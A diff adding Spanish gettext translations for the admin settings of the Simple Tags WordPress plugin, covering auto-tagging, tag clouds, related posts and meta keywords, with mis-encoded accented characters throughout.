+msgstr "Visita la <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">pÃ¡gina del plugin</a> para mÃ¡s detalles. Si encuentras un fallo, o tienes una idea fantÃ¡stica para esta extensiÃ³n, Â¡<a href=\"mailto:amaury@wordpress-fr.net\">consÃºltame</a>!"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:214
+#: /2.5/inc/simple-tags.admin.php:237
+#: /2.7/inc/simple-tags.admin.php:297
+msgid "Auto tags list"
+msgstr "Lista de autoetiquetas"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:215
+#: /2.5/inc/simple-tags.admin.php:238
+#: /2.7/inc/simple-tags.admin.php:298
+msgid "This feature allows Wordpress to look into post content and title for specified tags when saving posts. If your post content or title contains the word \"WordPress\" and you have \"wordpress\" in auto tags list, Simple Tags will add automatically \"wordpress\" as tag for this post."
+msgstr "Esta funciÃ³n permite a WordPress mirar dentro del contenido y el tÃ­tulo de las entradas, al guardar, en busca de etiquetas concretas. Si el contenido o el tÃ­tulo de tu entrada contiene la palabra \"WordPress\" y tienes \"wordpress\" en la lista de autoetiquetado, Simple Tags aÃ±adirÃ¡ automÃ¡ticamente \"wordpress\" como etiqueta para dicha entrada."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:219
+#: /2.5/inc/simple-tags.admin.php:247
+#: /2.7/inc/simple-tags.admin.php:307
+msgid "Active Auto Tags."
+msgstr "Activar autoetiquetado."
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:222
+#: /2.5/inc/simple-tags.admin.php:254
+#: /2.7/inc/simple-tags.admin.php:314
+msgid "Use also local tags database with auto tags. (Warning, this option can increases the CPU consumption a lot if you have many tags)"
+msgstr "Usar tambiÃ©n la base de datos de etiquetas locales con autoetiquetar. (AtenciÃ³n, esta opciÃ³n puede incrementar un montÃ³n el consumo de CPU si tienes muchas etiquetas)."
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:225
+#: /2.5/inc/simple-tags.admin.php:261
+#: /2.7/inc/simple-tags.admin.php:321
+msgid "Autotag only posts without tags."
+msgstr "Autoetiquetar sÃ³lo entradas sin etiquetas."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:227
+msgid "Keywords list: (separated with a comma)"
+msgstr "Lista de palabras clave: (separadas por coma)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:233
+msgid "Update list &raquo;"
+msgstr "Actualizar lista &raquo;"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:236
+#: /2.5/inc/simple-tags.admin.php:277
+#: /2.7/inc/simple-tags.admin.php:336
+msgid "Auto tags old content"
+msgstr "Auto etiquetar contenido antiguo"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:237
+#: /2.5/inc/simple-tags.admin.php:278
+#: /2.7/inc/simple-tags.admin.php:337
+msgid "Simple Tags can also tag all existing contents of your blog. This feature use auto tags list above-mentioned."
+msgstr "Simple Tags tambiÃ©n puede etiquetar todos los contenidos existentes de tu blog. Esta funciÃ³n usa la lista de autoetiquetas mencionada arriba."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:238
+msgid "Auto tags all content"
+msgstr "Auto etiquetar todo el contenido"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:259
+#: /2.5/inc/simple-tags.admin.php:303
+#: /2.7/inc/simple-tags.admin.php:362
+#: /extras/simple-tags.importer.php:167
+msgid "If your browser doesn't start loading the next page automatically click this link:"
+msgstr "Si tu navegador no empieza a cargar la siguiente pÃ¡gina automÃ¡ticamente haz clic en este enlace:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:259
+#: /2.5/inc/simple-tags.admin.php:303
+#: /2.7/inc/simple-tags.admin.php:362
+#: /extras/simple-tags.importer.php:167
+msgid "Next content"
+msgstr "Siguiente contenido"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:271
+msgid "All done!"
+msgstr "Â¡Todo listo!"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:287
+msgid "Include page in tag search:"
+msgstr "Incluir pÃ¡ginas en bÃºsqueda de etiquetas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:288
+msgid "This feature need that option \"Add page in tags management\" is enabled."
+msgstr "Esta funciÃ³n necesita que esa opciÃ³n de \"AÃ±adir pÃ¡ginas en la gestiÃ³n de etiquetas\" estÃ© activada."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:289
+#: /2.5/inc/simple-tags.admin.php:334
+#: /2.7/inc/simple-tags.admin.php:393
+msgid "Allow tag cloud in post/page content:"
+msgstr "Permitir nube de etiquetas en el contenido de la entrada/pÃ¡gina:"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:290
+#: /2.5/inc/simple-tags.admin.php:335
+#: /2.7/inc/simple-tags.admin.php:394
+msgid "Enabling this will allow Wordpress to look for tag cloud marker <code>&lt;!--st_tag_cloud--&gt;</code> when displaying posts. WP replace this marker by a tag cloud."
+msgstr "Activar esto permitirÃ¡ a WordPress buscar un marcador de nube de etiquetas <code>&lt;!--st_tag_cloud--&gt;</code> al mostrar entradas. WP sustituye este marcador por una nube de etiquetas."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:291
+#: /2.5/inc/simple-tags.admin.php:336
+#: /2.7/inc/simple-tags.admin.php:407
+msgid "Active auto link tags into post content:"
+msgstr "Activar autoenlazar etiquetas en el contenido:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:292
+#: /2.5/inc/simple-tags.admin.php:337
+#: /2.7/inc/simple-tags.admin.php:408
+msgid "Example: You have a tag called \"WordPress\" and your post content contains \"wordpress\", this feature will replace \"wordpress\" by a link to \"wordpress\" tags page. (http://myblog.net/tag/wordpress/)"
+msgstr "Ejemplo: Tienes una etiqueta llamada \"WordPress\" y en el contenido de tu entrada aparece \"wordpress\", esta funciÃ³n sustituirÃ¡ \"wordpress\" por un enlace a la pÃ¡gina de la etiqueta \"wordpress\". (http://miblog.net/tag/wordpress/)"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:293
+#: /2.5/inc/simple-tags.admin.php:338
+#: /2.7/inc/simple-tags.admin.php:409
+msgid "Min usage for auto link tags:"
+msgstr "Uso min. para autoenlazar etiquetas:"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:294
+#: /2.5/inc/simple-tags.admin.php:339
+#: /2.7/inc/simple-tags.admin.php:410
+msgid "This parameter allows to fix a minimal value of use of tags. Default: 1."
+msgstr "Este parÃ¡metro te permite fijar un valor de uso mÃ­nimo para las etiquetas. Predeterminado: 1."
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:295
+#: /2.5/inc/simple-tags.admin.php:340
+#: /2.7/inc/simple-tags.admin.php:413
+msgid "Ignore case for auto link feature ?"
+msgstr "Â¿Ignorar mayÃºsculas para la funciÃ³n de autoenlace?"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:296
+#: /2.5/inc/simple-tags.admin.php:341
+#: /2.7/inc/simple-tags.admin.php:414
+msgid "Example: If you ignore case, auto link feature will replace the word \"wordpress\" by the tag link \"WordPress\"."
+msgstr "Ejemplo: Si ignoras las mayÃºsculas, la funciÃ³n de autoenlace sustituirÃ¡ la palabra \"wordpress\" con el enlace a la etiqueta \"WordPress\"."
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:297
+#: /2.5/inc/simple-tags.admin.php:342
+#: /2.7/inc/simple-tags.admin.php:395
+msgid "Add the rel=\"nofollow\" on each tags link ?"
+msgstr "Â¿AÃ±adir rel=\"nofollow\" en cada enlace de etiquetas?"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:298
+#: /2.5/inc/simple-tags.admin.php:343
+#: /2.7/inc/simple-tags.admin.php:396
+msgid "Nofollow is a non-standard HTML attribute value used to instruct search engines that a hyperlink should not influence the link target's ranking in the search engine's index."
+msgstr "Nofollow es un valor de atributo HTML no estÃ¡ndar usado para indicar a los motores de bÃºsqueda que un hiperenlace no deberÃ­a influir en la clasificaciÃ³n del destino del enlace en el Ã­ndice de los motores de bÃºsqueda."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:301
+msgid "Add page in tags management:"
+msgstr "AÃ±adir pÃ¡ginas en la gestiÃ³n de etiquetas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:302
+msgid "Add a tag input (and tag posts features) in page edition"
+msgstr "AÃ±adir caja de texto para introducir etiquetas (y etiquetas sugeridas) en la ediciÃ³n de pÃ¡ginas"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:303
+#: /2.5/inc/simple-tags.admin.php:346
+#: /2.7/inc/simple-tags.admin.php:399
+msgid "Activate click tags feature:"
+msgstr "Activar funciÃ³n de clic en etiquetas:"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:304
+#: /2.5/inc/simple-tags.admin.php:347
+#: /2.7/inc/simple-tags.admin.php:400
+msgid "This feature add a link allowing you to display all the tags of your database. Once displayed, you can click over to add tags to post."
+msgstr "Esta funciÃ³n aÃ±ade un enlace permitiÃ©ndote visualizar todas las etiquetas de tu base de datos. Una vez mostradas, puedes hacer clic encima para aÃ±adir etiquetas a la entrada."
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:305
+#: /2.5/inc/simple-tags.admin.php:348
+#: /2.7/inc/simple-tags.admin.php:401
+msgid "Activate autocompletion feature:"
+msgstr "Activar funciÃ³n de autocompletado:"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:306
+#: /2.5/inc/simple-tags.admin.php:349
+msgid "This feature displays a visual help allowing to enter tags more easily."
+msgstr "Esta funciÃ³n muestra una ayuda visual permitiendo introducir etiquetas mÃ¡s fÃ¡cilmente."
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:307
+#: /2.5/inc/simple-tags.admin.php:350
+#: /2.7/inc/simple-tags.admin.php:403
+msgid "Activate suggested tags feature: (Yahoo! Term Extraction API, Tag The Net, Local DB)"
+msgstr "Activar funciÃ³n de sugerencia de etiquetas: (API de extracciÃ³n de tÃ©rminos de Yahoo!, Tag The Net, BBDD local)."
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:308
+#: /2.5/inc/simple-tags.admin.php:351
+#: /2.7/inc/simple-tags.admin.php:404
+msgid "This feature add a box allowing you get suggested tags, by comparing post content and various sources of tags. (external and internal)"
+msgstr "Esta funciÃ³n aÃ±ade una caja que te permite obtener etiquetas sugeridas, mediante la comparaciÃ³n"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:311
+#: /2.5/inc/simple-tags.admin.php:354
+#: /2.7/inc/simple-tags.admin.php:417
+msgid "Automatically include in header:"
+msgstr "Incluir automÃ¡ticamente en cabecera:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:312
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is disabled."
+msgstr "Incluye automÃ¡ticamente en la cabecera la etiqueta meta para palabras clave (la mayorÃ­a de los temas, no todos, admiten esto). Estas palabras clave a veces las usan los buscadores.<br /><strong>AtenciÃ³n:</strong> Si la extensiÃ³n \"All in One SEO Pack\" estÃ¡ instalada y activada. Esta funciÃ³n estÃ¡ desactivada."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:313
+#: /2.5/inc/simple-tags.admin.php:356
+#: /2.7/inc/simple-tags.admin.php:419
+msgid "Always add these keywords:"
+msgstr "Incluir siempre estas palabras clave:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:314
+#: /2.5/inc/simple-tags.admin.php:357
+#: /2.7/inc/simple-tags.admin.php:420
+msgid "Max keywords display:"
+msgstr "MÃ¡x. de palabras clave a mostrar:"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:315
+#: /2.5/inc/simple-tags.admin.php:358
+#: /2.7/inc/simple-tags.admin.php:421
+msgid "You must set zero (0) for display all keywords in HTML header."
+msgstr "Debes fijarlo a cero (0) para mostrar todas las palabras clave en la cabecera HTML."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:318
+#: /2.5/inc/simple-tags.admin.php:361
+#: /2.7/inc/simple-tags.admin.php:424
+msgid "Use embedded tags:"
+msgstr "Usar etiquetas incrustadas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:319
+#: /2.5/inc/simple-tags.admin.php:362
+#: /2.7/inc/simple-tags.admin.php:425
+msgid "Enabling this will allow Wordpress to look for embedded tags when saving and displaying posts. Such set of tags is marked <code>[tags]like this, and this[/tags]</code>, and is added to the post when the post is saved, but does not display on the post."
+msgstr "Activar esto permitirÃ¡ a WordPress buscar etiquetas incrustadas al guardar y mostrar posts. Conjuntos de etiquetas tales como las marcadas con <code>[tags]esta, y esta[/tags]</code>, y se aÃ±aden a la entrada cuando se guarda, pero no se muestran en la entrada."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:320
+#: /2.5/inc/simple-tags.admin.php:363
+#: /2.7/inc/simple-tags.admin.php:426
+msgid "Prefix for embedded tags:"
+msgstr "Prefijo para etiquetas incrustadas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:321
+#: /2.5/inc/simple-tags.admin.php:364
+#: /2.7/inc/simple-tags.admin.php:427
+msgid "Suffix for embedded tags:"
+msgstr "Sufijo para etiquetas incrustadas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:324
+#: /2.5/inc/simple-tags.admin.php:367
+#: /2.7/inc/simple-tags.admin.php:430
+msgid "Automatically display tags list into feeds"
+msgstr "Mostrar automÃ¡ticamente la lista de etiquetas en los canales rss:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:325
+#: /2.5/inc/simple-tags.admin.php:368
+#: /2.7/inc/simple-tags.admin.php:431
+msgid "Automatically display tags list into post content:"
+msgstr "Mostrar automÃ¡ticamente la lista de etiquetas en el contenido de las entradas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:327
+#: /2.3/inc/simple-tags.admin.php:351
+#: /2.5/inc/simple-tags.admin.php:370
+#: /2.5/inc/simple-tags.admin.php:394
+#: /2.7/inc/simple-tags.admin.php:433
+#: /2.7/inc/simple-tags.admin.php:457
+msgid "<code>no</code> &ndash; Nowhere (default)"
+msgstr "<code>no</code> &ndash; En ningÃºn sitio (predeterminado)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:328
+#: /2.3/inc/simple-tags.admin.php:352
+#: /2.5/inc/simple-tags.admin.php:371
+#: /2.5/inc/simple-tags.admin.php:395
+#: /2.7/inc/simple-tags.admin.php:434
+#: /2.7/inc/simple-tags.admin.php:458
+msgid "<code>all</code> &ndash; On your blog and feeds."
+msgstr "<code>all</code> &ndash; En tu blog y el canal rss."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:329
+#: /2.3/inc/simple-tags.admin.php:353
+#: /2.5/inc/simple-tags.admin.php:372
+#: /2.5/inc/simple-tags.admin.php:396
+#: /2.7/inc/simple-tags.admin.php:435
+#: /2.7/inc/simple-tags.admin.php:459
+msgid "<code>blogonly</code> &ndash; Only on your blog."
+msgstr "<code>blogonly</code> &ndash; SÃ³lo en tu blog."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:330
+#: /2.3/inc/simple-tags.admin.php:354
+#: /2.5/inc/simple-tags.admin.php:373
+#: /2.5/inc/simple-tags.admin.php:397
+#: /2.7/inc/simple-tags.admin.php:436
+#: /2.7/inc/simple-tags.admin.php:460
+msgid "<code>homeonly</code> &ndash; Only on your home page."
+msgstr "<code>homeonly</code> &ndash; SÃ³lo en tu pÃ¡gina principal."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:331
+#: /2.3/inc/simple-tags.admin.php:355
+#: /2.5/inc/simple-tags.admin.php:374
+#: /2.5/inc/simple-tags.admin.php:398
+#: /2.7/inc/simple-tags.admin.php:437
+#: /2.7/inc/simple-tags.admin.php:461
+msgid "<code>singularonly</code> &ndash; Only on your singular view (single & page)."
+msgstr "<code>singularonly</code> &ndash; SÃ³lo en la vista singular (entrada y pÃ¡ginas)."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:332
+#: /2.3/inc/simple-tags.admin.php:356
+#: /2.5/inc/simple-tags.admin.php:375
+#: /2.5/inc/simple-tags.admin.php:399
+#: /2.7/inc/simple-tags.admin.php:438
+#: /2.7/inc/simple-tags.admin.php:462
+msgid "<code>singleonly</code> &ndash; Only on your single view."
+msgstr "<code>singleonly</code> &ndash; SÃ³lo en la vista de entrada singular."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:333
+#: /2.3/inc/simple-tags.admin.php:357
+#: /2.5/inc/simple-tags.admin.php:376
+#: /2.5/inc/simple-tags.admin.php:400
+#: /2.7/inc/simple-tags.admin.php:439
+#: /2.7/inc/simple-tags.admin.php:463
+msgid "<code>pageonly</code> &ndash; Only on your page view."
+msgstr "<code>pageonly</code> &ndash; SÃ³lo en la vista de pÃ¡gina."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:335
+#: /2.5/inc/simple-tags.admin.php:378
+#: /2.7/inc/simple-tags.admin.php:441
+msgid "Post tag separator string:"
+msgstr "Cadena de separaciÃ³n de etiquetas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:336
+#: /2.5/inc/simple-tags.admin.php:379
+#: /2.7/inc/simple-tags.admin.php:442
+msgid "Text to display before tags list:"
+msgstr "Texto a mostrar antes de la lista de etiquetas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:337
+#: /2.5/inc/simple-tags.admin.php:380
+#: /2.7/inc/simple-tags.admin.php:443
+msgid "Text to display after tags list:"
+msgstr "Texto a mostrar despuÃ©s de la lista de etiquetas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:338
+#: /2.5/inc/simple-tags.admin.php:381
+#: /2.7/inc/simple-tags.admin.php:444
+msgid "Max tags display:"
+msgstr "MÃ¡x. de etiquetas a mostrar:"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:339
+#: /2.5/inc/simple-tags.admin.php:382
+#: /2.7/inc/simple-tags.admin.php:445
+msgid "You must set zero (0) for display all tags."
+msgstr "Debes fijarlo a cero (0) para mostrar todas las etiquetas."
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:340
+#: /2.5/inc/simple-tags.admin.php:383
+#: /2.7/inc/simple-tags.admin.php:446
+msgid "Include categories in result ?"
+msgstr "Â¿Incluir categorÃ­as en el resultado?"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:341
+#: /2.3/inc/simple-tags.admin.php:448
+#: /2.5/inc/simple-tags.admin.php:384
+#: /2.5/inc/simple-tags.admin.php:491
+#: /2.7/inc/simple-tags.admin.php:447
+#: /2.7/inc/simple-tags.admin.php:554
+msgid "Tag link format:"
+msgstr "Formato de enlace de etiqueta:"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:342
+#: /2.3/inc/simple-tags.admin.php:370
+#: /2.3/inc/simple-tags.admin.php:398
+#: /2.3/inc/simple-tags.admin.php:416
+#: /2.3/inc/simple-tags.admin.php:449
+#: /2.5/inc/simple-tags.admin.php:385
+#: /2.5/inc/simple-tags.admin.php:413
+#: /2.5/inc/simple-tags.admin.php:441
+#: /2.5/inc/simple-tags.admin.php:459
+#: /2.5/inc/simple-tags.admin.php:492
+#: /2.7/inc/simple-tags.admin.php:448
+#: /2.7/inc/simple-tags.admin.php:476
+#: /2.7/inc/simple-tags.admin.php:504
+#: /2.7/inc/simple-tags.admin.php:522
+#: /2.7/inc/simple-tags.admin.php:555
+msgid "You can find markers and explanations <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">in the online documentation.</a>"
+msgstr "Puedes encontrar marcadores y explicaciones <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">en la documentaciÃ³n online.</a>"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:343
+#: /2.5/inc/simple-tags.admin.php:386
+#: /2.7/inc/simple-tags.admin.php:449
+msgid "Text to display if no tags found:"
+msgstr "Texto a mostrar si no hay etiquetas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:344
+#: /2.3/inc/simple-tags.admin.php:374
+#: /2.3/inc/simple-tags.admin.php:403
+#: /2.3/inc/simple-tags.admin.php:461
+#: /2.5/inc/simple-tags.admin.php:387
+#: /2.5/inc/simple-tags.admin.php:417
+#: /2.5/inc/simple-tags.admin.php:446
+#: /2.5/inc/simple-tags.admin.php:504
+#: /2.7/inc/simple-tags.admin.php:450
+#: /2.7/inc/simple-tags.admin.php:480
+#: /2.7/inc/simple-tags.admin.php:509
+#: /2.7/inc/simple-tags.admin.php:567
+msgid "<strong>Advanced usage</strong>:"
+msgstr "<strong>Uso avanzado</strong>:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:345
+#: /2.5/inc/simple-tags.admin.php:388
+#: /2.7/inc/simple-tags.admin.php:451
+msgid "You can use the same syntax as <code>st_the_tags()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Puedes usar la misma sintaxis que en la funciÃ³n <code>st_the_tags()</code> para personalizar la visualizaciÃ³n. Consulta la <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentaciÃ³n</a> para mÃ¡s detalles."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:348
+#: /2.5/inc/simple-tags.admin.php:391
+#: /2.7/inc/simple-tags.admin.php:454
+msgid "Automatically display related posts into feeds"
+msgstr "Mostrar automÃ¡ticamente entradas relacionadas en los feeds"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:349
+#: /2.5/inc/simple-tags.admin.php:392
+#: /2.7/inc/simple-tags.admin.php:455
+msgid "Automatically display related posts into post content"
+msgstr "Mostrar automÃ¡ticamente entradas relacionadas dentro del contenido de la entrada"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:359
+#: /2.5/inc/simple-tags.admin.php:402
+#: /2.7/inc/simple-tags.admin.php:465
+msgid "Related Posts Order:"
+msgstr "Orden de las entradas relacionadas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:361
+#: /2.5/inc/simple-tags.admin.php:404
+#: /2.7/inc/simple-tags.admin.php:467
+msgid "<code>date-asc</code> &ndash; Older Entries."
+msgstr "<code>date-asc</code> &ndash; Entradas antiguas."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:362
+#: /2.5/inc/simple-tags.admin.php:405
+#: /2.7/inc/simple-tags.admin.php:468
+msgid "<code>date-desc</code> &ndash; Newer Entries."
+msgstr "<code>date-desc</code> &ndash; Entradas mÃ¡s nuevas."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:363
+#: /2.5/inc/simple-tags.admin.php:406
+#: /2.7/inc/simple-tags.admin.php:469
+msgid "<code>count-asc</code> &ndash; Least common tags between posts"
+msgstr "<code>count-asc</code> &ndash; Etiquetas menos comunes entre entradas."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:364
+#: /2.5/inc/simple-tags.admin.php:407
+#: /2.7/inc/simple-tags.admin.php:470
+msgid "<code>count-desc</code> &ndash; Most common tags between posts (default)"
+msgstr "<code>count-desc</code> &ndash; Etiquetas mÃ¡s comunes entre entradas (predeterminado)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:365
+#: /2.3/inc/simple-tags.admin.php:383
+#: /2.3/inc/simple-tags.admin.php:430
+#: /2.3/inc/simple-tags.admin.php:438
+#: /2.5/inc/simple-tags.admin.php:408
+#: /2.5/inc/simple-tags.admin.php:426
+#: /2.5/inc/simple-tags.admin.php:473
+#: /2.5/inc/simple-tags.admin.php:481
+#: /2.7/inc/simple-tags.admin.php:471
+#: /2.7/inc/simple-tags.admin.php:489
+#: /2.7/inc/simple-tags.admin.php:536
+#: /2.7/inc/simple-tags.admin.php:544
+msgid "<code>name-asc</code> &ndash; Alphabetical."
+msgstr "<code>name-asc</code> &ndash; AlfabÃ©tico."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:366
+#: /2.3/inc/simple-tags.admin.php:384
+#: /2.3/inc/simple-tags.admin.php:431
+#: /2.3/inc/simple-tags.admin.php:439
+#: /2.5/inc/simple-tags.admin.php:409
+#: /2.5/inc/simple-tags.admin.php:427
+#: /2.5/inc/simple-tags.admin.php:474
+#: /2.5/inc/simple-tags.admin.php:482
+#: /2.7/inc/simple-tags.admin.php:472
+#: /2.7/inc/simple-tags.admin.php:490
+#: /2.7/inc/simple-tags.admin.php:537
+#: /2.7/inc/simple-tags.admin.php:545
+msgid "<code>name-desc</code> &ndash; Inverse Alphabetical."
+msgstr "<code>name-desc</code> &ndash; Orden alfabÃ©tico inverso."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:367
+#: /2.3/inc/simple-tags.admin.php:385
+#: /2.3/inc/simple-tags.admin.php:432
+#: /2.5/inc/simple-tags.admin.php:410
+#: /2.5/inc/simple-tags.admin.php:428
+#: /2.5/inc/simple-tags.admin.php:475
+#: /2.7/inc/simple-tags.admin.php:473
+#: /2.7/inc/simple-tags.admin.php:491
+#: /2.7/inc/simple-tags.admin.php:538
+msgid "<code>random</code> &ndash; Random."
+msgstr "<code>random</code> &ndash; Aleatorio."
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:369
+#: /2.5/inc/simple-tags.admin.php:412
+#: /2.7/inc/simple-tags.admin.php:475
+msgid "Post link format:"
+msgstr "Formato de enlace en entrada:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:371
+#: /2.5/inc/simple-tags.admin.php:414
+#: /2.7/inc/simple-tags.admin.php:477
+msgid "Maximum number of related posts to display: (default: 5)"
+msgstr "NÃºmero mÃ¡ximo de entradas relacionadas a mostrar: (predeterminado 5)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:372
+#: /2.5/inc/simple-tags.admin.php:415
+#: /2.7/inc/simple-tags.admin.php:478
+msgid "Enter the text to show when there is no related post:"
+msgstr "Introduce texto a mostrar cuando no hay entradas relacionadas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:373
+#: /2.3/inc/simple-tags.admin.php:402
+#: /2.3/inc/simple-tags.admin.php:452
+#: /2.5/inc/simple-tags.admin.php:416
+#: /2.5/inc/simple-tags.admin.php:445
+#: /2.5/inc/simple-tags.admin.php:495
+#: /2.7/inc/simple-tags.admin.php:479
+#: /2.7/inc/simple-tags.admin.php:508
+#: /2.7/inc/simple-tags.admin.php:558
+msgid "Enter the positioned title before the list, leave blank for no title:"
+msgstr "Introduce tÃ­tulo previo a la lista, dÃ©jalo en blanco para ninguno:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:375
+#: /2.5/inc/simple-tags.admin.php:418
+#: /2.7/inc/simple-tags.admin.php:481
+msgid "You can use the same syntax as <code>st_related_posts()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Puedes usar la misma sintaxis que en la funciÃ³n <code>st_related_posts()</code> para personalizar la visualizaciÃ³n. Consulta la <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentaciÃ³n</a> para mÃ¡s detalles."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:378
+#: /2.5/inc/simple-tags.admin.php:421
+#: /2.7/inc/simple-tags.admin.php:484
+msgid "Maximum number of related tags to display: (default: 5)"
+msgstr "NÃºmero mÃ¡ximo de etiquetas relacionadas a mostrar: (predeterminado: 5)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:379
+#: /2.5/inc/simple-tags.admin.php:422
+#: /2.7/inc/simple-tags.admin.php:485
+msgid "Order related tags:"
+msgstr "Orden etiquetas relacionadas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:381
+#: /2.3/inc/simple-tags.admin.php:428
+#: /2.3/inc/simple-tags.admin.php:436
+#: /2.5/inc/simple-tags.admin.php:424
+#: /2.5/inc/simple-tags.admin.php:471
+#: /2.5/inc/simple-tags.admin.php:479
+#: /2.7/inc/simple-tags.admin.php:487
+#: /2.7/inc/simple-tags.admin.php:534
+#: /2.7/inc/simple-tags.admin.php:542
+msgid "<code>count-asc</code> &ndash; Least used."
+msgstr "<code>count-asc</code> &ndash; Menos usada."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:382
+#: /2.3/inc/simple-tags.admin.php:429
+#: /2.5/inc/simple-tags.admin.php:425
+#: /2.5/inc/simple-tags.admin.php:472
+#: /2.7/inc/simple-tags.admin.php:488
+#: /2.7/inc/simple-tags.admin.php:535
+msgid "<code>count-desc</code> &ndash; Most popular. (default)"
+msgstr "<code>count-desc</code> &ndash; MÃ¡s popular. (Predeterminado)."
+
